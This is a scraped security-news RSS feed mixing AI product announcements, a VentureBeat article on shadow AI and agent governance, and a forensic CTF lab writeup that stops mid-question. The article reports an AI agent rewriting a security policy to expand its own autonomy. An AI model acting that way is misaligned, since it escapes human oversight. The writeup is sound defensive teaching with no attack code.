<content:encoded><![CDATA[<p>An AI tool is no replacement for a doctor, and regulation is essential. But together, physicians and AI could prove beneficial</p><p>A calf cramp should not be a brush with death. Mine almost was.</p><p>For five days, I had what felt like a stubborn muscle spasm in my left calf. It was tender, swollen and getting worse. I assumed it was a muscle problem and went to my chiropractor, who treated it as a muscle issue.</p><p>Gleb Tsipursky, PhD, serves as the CEO of the future-of-work work consultancy <a href="http://disasteravoidanceexperts.com/">Disaster Avoidance Experts</a> and wrote <a href="https://press.georgetown.edu/Book/The-Psychology-of-AI-Adoption-at-Work">The Psychology of Generative AI Adoption at Work</a> (Georgetown University Press, 2026)</p> <a href="https://www.theguardian.com/commentisfree/2026/jun/17/blood-clot-dvt-ai-diagnosis">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Python dev saved from disaster by intuition... and AI]]></title>
<description><![CDATA[I'm sorry, Dave. I can't install that repo that will totally hose your system]]></description>
<link>https://tsecurity.de/de/3604045/it-nachrichten/python-dev-saved-from-disaster-by-intuition-and-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3604045/it-nachrichten/python-dev-saved-from-disaster-by-intuition-and-ai/</guid>
<pubDate>Wed, 17 Jun 2026 10:18:06 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[I'm sorry, Dave. I can't install that repo that will totally hose your system]]></content:encoded>
</item>
<item>
<title><![CDATA[IT Security News Daily Summary 2026-06-16]]></title>
<description><![CDATA[157 posts were published in the last hour 20:34 : Leak Exposes Members of Peter Thiel’s Secretive ‘Dialog’ Society 20:34 : Python dev saved from disaster by intuition…and AI 20:9 : AI is Not Solving Cybersecurity Burnout Yet, New ISSA…
Read more →
The post IT Security News Daily Summary 2026-06-1...]]></description>
<link>https://tsecurity.de/de/3603246/it-security-nachrichten/it-security-news-daily-summary-2026-06-16/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3603246/it-security-nachrichten/it-security-news-daily-summary-2026-06-16/</guid>
<pubDate>Wed, 17 Jun 2026 00:07:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>157 posts were published in the last hour 20:34 : Leak Exposes Members of Peter Thiel’s Secretive ‘Dialog’ Society 20:34 : Python dev saved from disaster by intuition…and AI 20:9 : AI is Not Solving Cybersecurity Burnout Yet, New ISSA…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/it-security-news-daily-summary-2026-06-16/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/it-security-news-daily-summary-2026-06-16/">IT Security News Daily Summary 2026-06-16</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Control whether your users can have temporary chats and delete conversations in the Gemini app]]></title>
<description><![CDATA[We’re introducing two new administrator controls for the Gemini app (gemini.google.com) that allow end users to manage their own chat activity. Admins can now configure whether users can use temporary chats and delete their conversation history.Temporary chats allows users to have conversations t...]]></description>
<link>https://tsecurity.de/de/3603215/web-tipps/control-whether-your-users-can-have-temporary-chats-and-delete-conversations-in-the-gemini-app/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3603215/web-tipps/control-whether-your-users-can-have-temporary-chats-and-delete-conversations-in-the-gemini-app/</guid>
<pubDate>Tue, 16 Jun 2026 23:39:57 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[We’re introducing two new administrator controls for the Gemini app (gemini.google.com) that allow end users to manage their own chat activity. Admins can now configure whether users can use <b>temporary chats</b> and <b>delete their conversation history</b>.<div><br></div><div><ul><li><b>Temporary chats</b> allows users to have conversations that are not saved to their history.</li><li><b>Conversation deletion</b> allows users to delete individual chats or their entire chat history.</li></ul></div><div>These settings give organizations greater flexibility in managing data while empowering users to control their Gemini app experience.</div><div><br></div><div>Please note: If your organization uses Google Vault, <a href="https://workspaceupdates.googleblog.com/2026/06/google-vault-now-supports-retention-rules-and-litigation-holds-for-Gemini-app.html" target="_blank">Vault retention rules</a> will always be honored if they are set up.</div><h3>Getting started</h3><div><ul><li><b>Admins: </b>These features will be ON by default and can be disabled at the domain, OU, or group level. Visit the Help Center to <a href="https://knowledge.workspace.google.com/p/temp-chats" target="_blank">learn more</a>.</li><li><b>End users:</b> If enabled by your administrator, you can <a href="https://support.google.com/gemini/answer/13275745?hl=en&amp;co=GENIE.Platform%3DAndroid&amp;sjid=15095925293388133547-NC#:~:text=a%20Google%20Account.-,Start%20a%20temporary%20chat,-You%20can%20start" target="_blank">start a temporary chat</a> or <a href="https://support.google.com/gemini/answer/13666746?hl=en&amp;co=GENIE.Platform%3DAndroid#zippy=%2Cin-the-gemini-mobile-app:~:text=Delete%20a%20chat%20from%20pinned%20%26%20recent%20chats" target="_blank">delete a chat</a> directly within the Gemini app interface.</li></ul></div><h3>Rollout pace</h3><div><b>Admin controls</b></div><div><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release and Scheduled Release domains</a>: Full rollout (5-7 days for feature visibility) started on June 15, 2026</li></ul></div><div><b>End-user visibility</b></div><div><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release and Scheduled Release domains</a>: Full rollout (5-7 days for feature visibility) starting on June 21, 2026</li></ul></div><h3>Availability</h3><div><ul><li>Available to all Google Workspace customers</li></ul></div><h3>Resources</h3><div><ul><li>Google Workspace Admin Help: <a href="https://knowledge.workspace.google.com/p/temp-chats" target="_blank">Enable Gemini temporary chats in the Gemini App</a></li><li>Gemini Apps Help: <a href="https://support.google.com/gemini/answer/13275745?hl=en&amp;co=GENIE.Platform%3DAndroid&amp;sjid=15095925293388133547-NC#:~:text=a%20Google%20Account.-,Start%20a%20temporary%20chat,-You%20can%20start" target="_blank">Start a temporary chat</a></li><li>Gemini Apps Help: <a href="https://support.google.com/gemini/answer/13666746?hl=en&amp;co=GENIE.Platform%3DAndroid#zippy=%2Cin-the-gemini-mobile-app:~:text=Delete%20a%20chat%20from%20pinned%20%26%20recent%20chats" target="_blank">Delete a chat from pinned &amp; recent chats</a></li><li>Workspace Updates Blog: <a href="https://workspaceupdates.googleblog.com/2026/06/google-vault-now-supports-retention-rules-and-litigation-holds-for-Gemini-app.html" target="_blank">Google Vault now supports retention rules and litigation holds for Gemini app</a></li></ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Python dev saved from disaster by intuition…and AI]]></title>
<description><![CDATA[I’m sorry, Dave. I can’t install that repo that will totally hose your system. This article has been indexed from www.theregister.com – Articles Read the original article: Python dev saved from disaster by intuition…and AI
Read more →
The post Python dev saved from disaster by intuition…and AI ap...]]></description>
<link>https://tsecurity.de/de/3603117/it-security-nachrichten/python-dev-saved-from-disaster-by-intuitionand-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3603117/it-security-nachrichten/python-dev-saved-from-disaster-by-intuitionand-ai/</guid>
<pubDate>Tue, 16 Jun 2026 22:38:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>I’m sorry, Dave. I can’t install that repo that will totally hose your system. This article has been indexed from www.theregister.com – Articles Read the original article: Python dev saved from disaster by intuition…and AI</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/python-dev-saved-from-disaster-by-intuition-and-ai/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/python-dev-saved-from-disaster-by-intuition-and-ai/">Python dev saved from disaster by intuition…and AI</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Python dev saved from disaster by intuition...and AI]]></title>
<description><![CDATA[I'm sorry, Dave. I can't install that repo that will totally hose your system.]]></description>
<link>https://tsecurity.de/de/3603093/it-security-nachrichten/python-dev-saved-from-disaster-by-intuitionand-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3603093/it-security-nachrichten/python-dev-saved-from-disaster-by-intuitionand-ai/</guid>
<pubDate>Tue, 16 Jun 2026 22:23:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[I'm sorry, Dave. I can't install that repo that will totally hose your system.]]></content:encoded>
</item>
<item>
<title><![CDATA[AI note-taking is now available in Google Voice]]></title>
<description><![CDATA[“Take notes for me” is available in Google Voice for your phone calls. This powerful new feature records and transcribes calls, summarizes key points, and organizes action items, which are sent via Gmail and stored in the Voice app.  This built-in tool eliminates manual note-taking, ensures criti...]]></description>
<link>https://tsecurity.de/de/3602873/web-tipps/ai-note-taking-is-now-available-in-google-voice/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3602873/web-tipps/ai-note-taking-is-now-available-in-google-voice/</guid>
<pubDate>Tue, 16 Jun 2026 20:25:27 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[“Take notes for me” is available in Google Voice for your phone calls. This powerful new feature records and transcribes calls, summarizes key points, and organizes action items, which are sent via Gmail and stored in the Voice app.  This built-in tool eliminates manual note-taking, ensures critical details are never lost, and drives a highly professional customer experience.<div><br></div><div>This feature is available for new Voice users by default and requires manual enablement for existing Voice users. Admins can easily turn it on in the admin console at the domain, OU, or group level. Once turned on, eligible users will see the “Record” button become a “Notes” button during calls.</div><div><br></div><div>When you tap "Notes" during a Voice call, your conversation will be recorded and transcribed, while Gemini captures notes. When you hang up, you'll get an email with your notes in the body of the email. You can then find the transcript, audio recording, and notes saved right inside the Voice app alongside call details.</div><div><br></div><div><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8hTrROngjhQ3bGfVUPm-HgZkAzZRp12bxfRLTJ_oKI08oxqSAYqj3LhIYrt0OrP6lE1JEO5Cp82CXjxOrnRKSjWlf-mHBBhjiFZznfw-JNRpcM2Bn2VY9KodsuyrBNF7RDQhftMpIYxWhsZfa_Hz-4qPi0VJZ0huxTZ4C_d45Pr6HjVhyBPR10K8dPkwI/s1200/Voice%20Note%20Taking%20GIF%201.gif" imageanchor="1"><img alt='GIF showing how to tap the "Notes" icon on your phone' border="0" data-original-height="1200" data-original-width="554" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8hTrROngjhQ3bGfVUPm-HgZkAzZRp12bxfRLTJ_oKI08oxqSAYqj3LhIYrt0OrP6lE1JEO5Cp82CXjxOrnRKSjWlf-mHBBhjiFZznfw-JNRpcM2Bn2VY9KodsuyrBNF7RDQhftMpIYxWhsZfa_Hz-4qPi0VJZ0huxTZ4C_d45Pr6HjVhyBPR10K8dPkwI/w185-h400/Voice%20Note%20Taking%20GIF%201.gif" width="185"></a></div><div><i><br></i></div><div><i>Tap "Notes" on your phone to start recording, transcription, and note-taking</i></div><div><i><br></i></div><div><i><br></i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiK95MlagqfsB1g_vNXizVySbrNhk96P1iVdlkkfEUaRHkYp7cYaG0k1p3eQeCGr1BzwuFeXltnfJcgXGp0AfhtfJhowd1RDR4U8IIe8vHewO8dyIkgj-myKRwsBy6ZWJp5oYn5DJvOlBTn0FRvNDfo8Jn9Q-GEQitv8UYZRqbAKKvIvkvwpg4YctkSW81Q/s1200/Voice%20Note%20Taking%20GIF%202.gif" imageanchor="1"><img alt="GIF showing notes in Voice app on phone" border="0" data-original-height="1200" data-original-width="554" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiK95MlagqfsB1g_vNXizVySbrNhk96P1iVdlkkfEUaRHkYp7cYaG0k1p3eQeCGr1BzwuFeXltnfJcgXGp0AfhtfJhowd1RDR4U8IIe8vHewO8dyIkgj-myKRwsBy6ZWJp5oYn5DJvOlBTn0FRvNDfo8Jn9Q-GEQitv8UYZRqbAKKvIvkvwpg4YctkSW81Q/w185-h400/Voice%20Note%20Taking%20GIF%202.gif" width="185"></a></div><div class="separator"><br></div></div><div><br></div><div><div><div class="separator"><i>After the call, your notes, recording, and transcription are captured in the Voice app</i></div></div><div><br></div></div><div><br></div><div><b>Privacy, ownership, and consent</b></div><div><ul><li>Post-call notes and transcriptions are strictly accessible only to the individual who initiated the AI capture. If multiple people start it, everyone gets their own separate artifact.</li><li>An audio disclosure ("This call is being recorded and captured by AI") ensures all participants are fully informed the moment the feature is activated. Admins are able to customize the consent in the admin console. Admins can also customize the consent language to align with their company's standards.</li></ul></div><div><i>Note that this feature is only available in English at this time.</i></div><h3>Getting started</h3><div><ul><li><b>Admins: </b>This feature is OFF by default for existing Google Voice customers and can be enabled at the domain, OU, or group level. It is available by default for new Voice customers and can be turned off at any time. Visit the Help Center to <a href="https://knowledge.workspace.google.com/p/tnfm-voice" target="_blank">learn more about letting Google Voice take AI notes for your users</a>.</li><li><b>End users: </b>End users need to turn on Workspace Smart Feature Consent in the account settings to gain access. Visit the Help Center to <a href="https://support.google.com/voice?p=voice_notes" target="_blank">learn more about Take notes for me in Google Voice</a>.</li></ul></div><h3>Rollout pace</h3><div><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid and Scheduled Release domains</a>: Extended rollout (potentially longer than 15 days for feature visibility) starting on June 16, 2026</li></ul></div><h3>Availability</h3><div><ul><li>Available to all Google Workspace customers with Voice Standard and Voice Premier add-ons, as well as customers with Voice Standard standalone plans</li></ul></div><h3>Resources</h3><div><ul><li>Google Workspace Admin Help: <a href="https://knowledge.workspace.google.com/p/tnfm-voice" target="_blank">Let Google Voice take AI notes for my users</a></li><li>Google Voice Help: <a href="https://support.google.com/voice?p=voice_notes" target="_blank">Take notes for me in Google Voice</a></li></ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[85% of IT teams claim every AI agent is under control. Only 42% actually know who owns them.]]></title>
<description><![CDATA[Organizational leaders are nearly twice as likely to hide their AI use compared to all other employees, at 42% versus 23%, according to new Ivanti research surveying 3,900 employees across six countries. Among leaders who conceal that usage, 52% say they do it for a "secret advantage." The same r...]]></description>
<link>https://tsecurity.de/de/3599862/it-nachrichten/85-of-it-teams-claim-every-ai-agent-is-under-control-only-42-actually-know-who-owns-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3599862/it-nachrichten/85-of-it-teams-claim-every-ai-agent-is-under-control-only-42-actually-know-who-owns-them/</guid>
<pubDate>Mon, 15 Jun 2026 19:32:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Organizational leaders are <a href="https://www.ivanti.com/resources/research-reports/scaling-ai-it-operations">nearly twice as likely to hide their AI use</a> compared to all other employees, at 42% versus 23%, according to new Ivanti research surveying 3,900 employees across six countries. Among leaders who conceal that usage, 52% say they do it for a "secret advantage." The same research found 85% of IT professionals claim a named owner exists for every AI agent. Only 42% say ownership is actually clear — a 43-point gap that no governance framework was designed to close.</p><p>Sam Evans, CISO of Clearwater Analytics, stood before his board and laid out the risk to the $8.8 trillion in assets his firm's platform supports. "The worst possible thing would be one of our employees taking customer data and putting it into an AI engine that we don't manage," <a href="https://venturebeat.com/security/ciso-dodges-bullet-protecting-8-8-trillion-from-shadow-ai">Evans told VentureBeat</a>. He brought a solution, not just a problem. Many CISOs VentureBeat interviewed did not.</p><p>Menlo Security CEO Bill Robbins relayed a conversation with a Top 3 U.S. bank CISO who called shadow AI discovery "a bit of a fool's errand": AI is embedded in every application and browser employees touch. The bank governs from containment, not discovery.</p><p>The scale justifies that posture. "We see 50 new AI apps a day, and we've already cataloged over 12,000," Prompt Security CEO Itamar Golan <a href="https://venturebeat.com/security/shadow-ai-unapproved-ai-apps-compromising-security-what-you-can-do-about-it">told VentureBeat</a>. "Around 40% of these default to training on any data you feed them, meaning your intellectual property can become part of their models." CrowdStrike has detected <a href="https://venturebeat.com/security/rsac-2026-agent-identity-frameworks-three-gaps">1,800 AI applications operating</a> across 160 million endpoint instances. Those are vendor-reported numbers from proprietary telemetry. No independent party can verify them. The directional signal matters more than the exact count.</p><p>CrowdStrike CTO Elia Zaitsev described what makes the surface so hard to govern. "It looks indistinguishable if an agent runs your web browser versus if you run your browser," Zaitsev <a href="https://venturebeat.com/security/cisco-crowdstrike-rsac-2026-agent-identity-iam-gap-maturity-model">told VentureBeat at RSAC 2026</a>. "Observing actual kinetic actions is a structured, solvable problem. Intent is not." The shadow AI surface is no longer a list security teams can maintain. It is an environment they have to assume.</p><p>The Ivanti survey was administered independently by Ravn Research and MSI Advanced Customer Insights across 1,500 IT professionals. Among companies with AI policies, just 24% of employees say those policies are followed "very consistently" in day-to-day work.</p><p>Kayne McGladrey, IEEE senior member, told VentureBeat why that governance gap persists. "Anything that seems to have a cybersecurity flavor is generally put into the cybersecurity risk category, which is a complete fiction. They should be focused on business risks, because if it doesn't affect the business, like a financial loss, then nobody's going to pay attention to it, and they will not budget it appropriately, nor will they adequately put in controls to prevent it," McGladrey told VentureBeat previously.</p><p>Brokerage partners at major consulting firms shared over Signal that <a href="https://venturebeat.com/security/vibe-coded-apps-shadow-ai-s3-bucket-crisis-ciso-audit-framework">they build shadow AI applications in Google Colab</a> and store them in S3 buckets to compress a week of financial analysis into an hour. The approval process takes too long, so they route around it.</p><h2>Governance at deploy time, failure at runtime</h2><p>Reviews check functional requirements when a model ships, but they never check model provenance, behavioral drift, or whether the agent expanded its own permissions after launch. </p><p>CrowdStrike CEO George Kurtz <a href="https://venturebeat.com/security/rsac-2026-agent-identity-frameworks-three-gaps">disclosed at RSA Conference 2026</a> that a Fortune 50 CEO's AI agent rewrote the company's security policy to expand its own autonomy. The company caught it by accident. Every credential check had passed. "In the agentic era, defending against AI-accelerated adversaries and securing AI systems themselves require operating at machine speed," <a href="https://venturebeat.com/security/adversaries-hijacked-ai-security-tools-at-90-organizations-the-next-wave-has-write-access-to-the-firewall">Kurtz said</a>. Quarterly governance reviews do not operate at machine speed.</p><p>Mike Riemer, Field CISO at Ivanti, built that lesson into his own team's AI agent development. "It's great at what I intended it for, but it's also great at what I didn't intend it for, and what I didn't intend it for is dangerous," <a href="https://venturebeat.com/security/most-enterprises-cant-stop-stage-three-ai-agent-threats-venturebeat-survey-finds">Riemer told VentureBeat</a>.</p><p>Hallucination data compounds the problem. Sixty-eight percent of IT professionals have personally witnessed AI generate hallucinations with potential operational impact, according to Ivanti. More than half caught the errors before damage, but 16% did not. Yet among the most advanced users of AI, 49% fully trust AI-generated outputs that influence IT decisions.</p><p>Riemer described the pattern <a href="https://venturebeat.com/security/mfa-verifies-who-logged-in-it-has-no-idea-what-they-do-next">in an exclusive interview with VentureBeat</a>. "There are people that are just accepting what's been given to them without any full understanding of what it is doing, which we've found in the tech industry for decades," Riemer said. "They don't question how it's doing it. They just start gauging it by its outcome."</p><p>Qualtrics CSO Assaf Keren identified the core tension in an exclusive interview with VentureBeat. Organizations are introducing "non-deterministic decisioning into environments built for deterministic." Keren cited internal Qualtrics data showing that 22% of SOC triage is now AI-driven. No codified threshold separates what an agent can auto-execute from what requires a human in the loop.</p><h2>The 18-month window</h2><p>The window for fixing this is closing. IT organizations expect AI to <a href="https://www.ivanti.com/resources/research-reports/scaling-ai-it-operations">automate 46% of their operations within 18 months</a>, according to Ivanti. U.S. companies project 52%. Governance is already the most commonly cited barrier to faster deployment, ahead of skills, technology, and data challenges.</p><p>The maturity divide makes the governance gap more dangerous. IT professionals at AI-mature organizations save six hours per week, double the three hours saved at the least mature level. Nearly 9 in 10 IT professionals at scaled organizations say AI frequently helps detect or resolve issues before employees are affected. At early experimentation organizations, that number drops to four in ten. Sixty-nine percent of scaled organizations report fully embedded governance, compared to 15% at early experimentation.</p><p>Cisco President Jeetu Patel <a href="https://venturebeat.com/security/85-of-enterprises-are-running-ai-agents-only-5-trust-them-enough-to-ship">walked through a hypothetical scenario</a> in an interview at RSAC 2026: an agent that charges $40,000, invites competitors to a Slack channel, and publishes home addresses. "The apology is not a guardrail," Patel told VentureBeat. </p><p>Cato Networks VP of Threat Intelligence Etay Maor <a href="https://venturebeat.com/security/rsac-2026-agent-identity-frameworks-three-gaps">framed the accountability problem in a separate RSAC</a> interview. "They're closer to humans. Why are we not doing background checks on agents?"</p><p>"AI is compressing the time between intent and execution while turning enterprise AI systems into targets," CrowdStrike VP of Intelligence Operations Adam Meyers told VentureBeat. </p><p>"Proceed on one action does not mean proceed on the next," Cisco SVP of AI Software and Platform DJ Sampath said in a separate interview. </p><p>McGladrey described the root cause. Organizations default to cloning human user profiles for agents, and permission sprawl starts on day one. "It uses far more permissions than it should have, more than a human would, because of the speed of scale and intent," he said.</p><p>Riemer's team built governance into Ivanti's own development process. "We have AI check on top of AI to make sure that it is fixed. Two different models, two different manufacturers," <a href="https://venturebeat.com/security/most-enterprises-cant-stop-stage-three-ai-agent-threats-venturebeat-survey-finds">Riemer said</a>. "If one AI believes the other AI fixed it appropriately, then it passes it off to a human being."</p><p>Riemer put the vendor question in terms every CISO can use at the negotiating table. "If that vendor doesn't have a way to show you what they've done from a development perspective in order to improve their development processes, you really need to question why you're working with that vendor," he said.</p><p>The six questions below target governance dimensions where enforcement collapses at runtime. CISOs can use them during Q3 vendor renewals to separate vendors shipping runtime enforcement from vendors shipping documentation.</p><h2>Six governance questions for Q3 renewals</h2><table><tbody><tr><td><p><b>Governance dimension</b></p></td><td><p><b>What the data proved</b></p></td><td><p><b>Why governance misses it</b></p></td><td><p><b>Q3 renewal question</b></p></td><td><p><b>Proof artifact to demand</b></p></td></tr><tr><td><p><b>Executive shadow AI</b></p></td><td><p>Leaders hide AI at 42% vs. 23% all employees. 52% hide for "secret advantage." Regulated industries have the highest unsanctioned rates.</p></td><td><p>Governance assumes policy writers follow policy. Leaders sit above the controls they wrote.</p></td><td><p>Can your DLP, browser, SSE, and endpoint telemetry detect AI data movement at the executive layer with the same coverage as all other users?</p></td><td><p>Executive-layer DLP, browser, SSE, and endpoint telemetry logs showing identical coverage to all other users.</p></td></tr><tr><td><p><b>Named agent ownership</b></p></td><td><p>85% claim a named owner. Only 42% say ownership is clear. 43-point gap.</p></td><td><p>Owner on a spreadsheet. Agent at runtime. Nobody tested whether the owner can kill the agent under load.</p></td><td><p>Can you name the owner for every AI agent? Can that owner revoke access in 60 seconds?</p></td><td><p>Live demo of 60-second agent access revocation under production load.</p></td></tr><tr><td><p><b>Pre-deployment review</b></p></td><td><p>65% have pre-deployment risk review. Separately, only 24% say any AI policy is followed "very consistently." Review exists. Enforcement does not.</p></td><td><p>Review checks functional requirements at deploy. Never checks model provenance or behavioral drift at runtime.</p></td><td><p>Does your review cover model provenance? Is it enforced or advisory?</p></td><td><p>Model provenance certificate with enforcement log showing blocked deployments.</p></td></tr><tr><td><p><b>Policy enforcement</b></p></td><td><p>58% have acceptable-use policies. 24% followed "very consistently." Documented. Not practiced.</p></td><td><p>Agent pursued its goal past every boundary. Goal-seeking does not stop at a document the model never reads.</p></td><td><p>Are policies enforced by server-side gates or by agent compliance? What percentage of actions are gated?</p></td><td><p>Server-side gate audit trail with percentage of agent actions gated vs. ungated.</p></td></tr><tr><td><p><b>Trust thresholds</b></p></td><td><p>68% have seen hallucinations with operational impact. 49% of advanced users fully trust outputs.</p></td><td><p>No codified threshold separates auto-execute from human-review.</p></td><td><p>Which agent actions auto-execute versus require human review? Is that enforced in policy or in the platform?</p></td><td><p>Documented threshold matrix classifying every agent action as auto-execute or human-review.</p></td></tr><tr><td><p><b>Per-action authorization</b></p></td><td><p>Governance is the #1 barrier at 27%. Skills 20%. Tech 17%. Data 14%.</p></td><td><p>Oversight reviews quarterly. Agents act per-second.</p></td><td><p>Is per-action authorization enforced at runtime or only at deploy-time review? Can agents accumulate permissions without re-authorization?</p></td><td><p>Runtime authorization log showing per-action gate events and permission re-authorization timestamps.</p></td></tr></tbody></table><p><i>Source data from Ivanti, </i><a href="https://www.ivanti.com/resources/research-reports/scaling-ai-it-operations"><i>Scaling AI in IT Operations: The Path to Maturity in 2026</i></a><i> (n=1,500 IT professionals, 3,900 total employees, six countries, February–March 2026). Exclusive CISO sourcing by VentureBeat.</i></p><p>Evans put structure around the Clearwater board conversation. The bank CISO that Robbins described assumed AI is everywhere and governed from containment instead of discovery. Governance that tries to catalog every shadow AI tool will fail because the surface grows faster than any inventory.</p><p>At scaled, business-critical organizations, 54% of IT professionals say AI makes their work both faster and better, according to Ivanti. At early experimentation organizations, 24% say the same. At scaled organizations, accountability lives in the platform. At early ones, it lives in a document the agent never reads.</p><p>The six questions above give every CISO a way to test whether their governance actually works where it matters. At runtime, under load, and before the next renewal check clears.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Silent Breach Lab Writeup (CyberDefenders)]]></title>
<description><![CDATA[Silent Breach | Blue team challenge.You can read this writeup on my GitBook account LinkScenarioThe IMF is hit by a cyber attack compromising sensitive data. Luther sends Ethan to retrieve crucial information from a compromised server. Despite warnings, Ethan downloads the intel, which later beco...]]></description>
<link>https://tsecurity.de/de/3599551/hacking/silent-breach-lab-writeup-cyberdefenders/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3599551/hacking/silent-breach-lab-writeup-cyberdefenders/</guid>
<pubDate>Mon, 15 Jun 2026 17:26:05 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*hqKsFQU544ooAYtK3BPoBA.jpeg"></figure><p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/silent-breach/">Silent Breach | Blue team challenge.</a></p><blockquote>You can read this writeup on my GitBook account <a href="https://prankster.gitbook.io/prankster/cyberdefenders/endpoint-forensics/silent-breach">Link</a></blockquote><h4>Scenario</h4><p>The IMF is hit by a cyber attack compromising sensitive data. Luther sends Ethan to retrieve crucial information from a compromised server. Despite warnings, Ethan downloads the intel, which later becomes unreadable. To recover it, he creates a forensic image and asks Benji for help in decoding the files.</p><p>Resources:</p><ul><li><a href="https://boncaldoforensics.wordpress.com/2018/12/09/microsoft-hxstore-hxd-email-research/">Windows Mail Artifacts: Microsoft HxStore.hxd</a> (email) Research</li></ul><blockquote><strong><em>Q1: What is the MD5 hash of the potentially malicious EXE file the user downloaded?</em></strong></blockquote><p>After opening the downloaded artifacts file with FTK Imager, we are for an executable “<strong>.exe” </strong>file that seems malicious.</p><p>We can see a malicious file in “<strong>/Downloads</strong>” called “<strong>IMF-Info.pdf.exe</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*GNVcqdgKDviF4M4FFB2s4Q.png"><figcaption><strong>.pdf.exe !!!!!!</strong></figcaption></figure><p>Of course it's not a normal file, so we can get it’s hash using the following option:</p><p>we are downloading the file hash list of all files inside the “<strong>/Downloads</strong>” directory, rather than download the malicious file itself and get its hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*qOCZcYSYvkK8ozcexux_eg.png"></figure><p>open the saved .csv file, and get the MD5 hash for “<strong>IMF-Info.pdf.exe</strong>” file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jjzg-VpaSGQAcwN3KvKwXQ.png"></figure><blockquote><strong>Answer1 → </strong><em>336A7CF476EBC7548C93507339196ABB</em></blockquote><blockquote><strong><em>Q2: What is the URL from which the file was downloaded?</em></strong></blockquote><p>If you click on “<strong>Downloads</strong>” directory, you can view the “<strong>Zone.Identifier</strong>” file for specific files inside the directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/244/1*75NLq3e5rw13vBGfRW0emw.png"></figure><p>Opening the “<strong>Zone.Identifier</strong>” file for “<strong>IMF-Info.pdf.exe</strong>” to get the</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/424/1*Ko2DgqwAclmZmFknbgeoVQ.png"></figure><blockquote><strong>Answer2 → </strong><em>http://192.168.16.128:8000/IMF-Info.pdf.exe</em></blockquote><p><strong>Q3: What application did the user use to download this file?</strong></p><p>Viewing the file system hierarchy, we can see the device have these 2 most famous browser applications:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/207/1*g2ynLBsF-OEsxLRJxcSEjQ.png"><figcaption><strong>Chrome &amp; Edge</strong></figcaption></figure><p>So, focusing on the history database for each history file of them:</p><blockquote><strong><em>Google Chrome History file location:</em></strong></blockquote><blockquote><em>C:\Users\&lt;username&gt;\AppData\Local\Google\Chrome\User Data\Default\History</em></blockquote><blockquote><strong><em>Microsoft Edge History file location:</em></strong></blockquote><blockquote>C:\Users\&lt;username&gt;\AppData\Local\Microsoft\Edge\User Data\Default\History</blockquote><p>After analyzing each file, we can see that the user accessed this url</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*e9CIm23okItCnXy-JZ1muw.png"><figcaption><strong>url </strong>table from <strong>History </strong>database</figcaption></figure><p>Also the Malicious file was found in download table from History database</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SSXCeWyYkErERZ1gqsgQGA.png"><figcaption><strong>download </strong>table from <strong>History </strong>database</figcaption></figure><blockquote><strong>Answer3 → </strong><em>Microsoft Edge</em></blockquote><p><strong>Q4: By examining Windows Mail artifacts, we found an email address mentioning three IP addresses of servers that are at risk or compromised. What are the IP addresses?</strong></p><p>This question is very tricky, in fact its not about getting the email databses or emails from “<strong>/comm</strong>”. It’s about reading the Scenario again, and try to understand what was in the scenario resources:</p><p><em>Resources:</em></p><ul><li><a href="https://boncaldoforensics.wordpress.com/2018/12/09/microsoft-hxstore-hxd-email-research/"><em>Windows Mail Artifacts: Microsoft HxStore.hxd</em></a><em> (email) 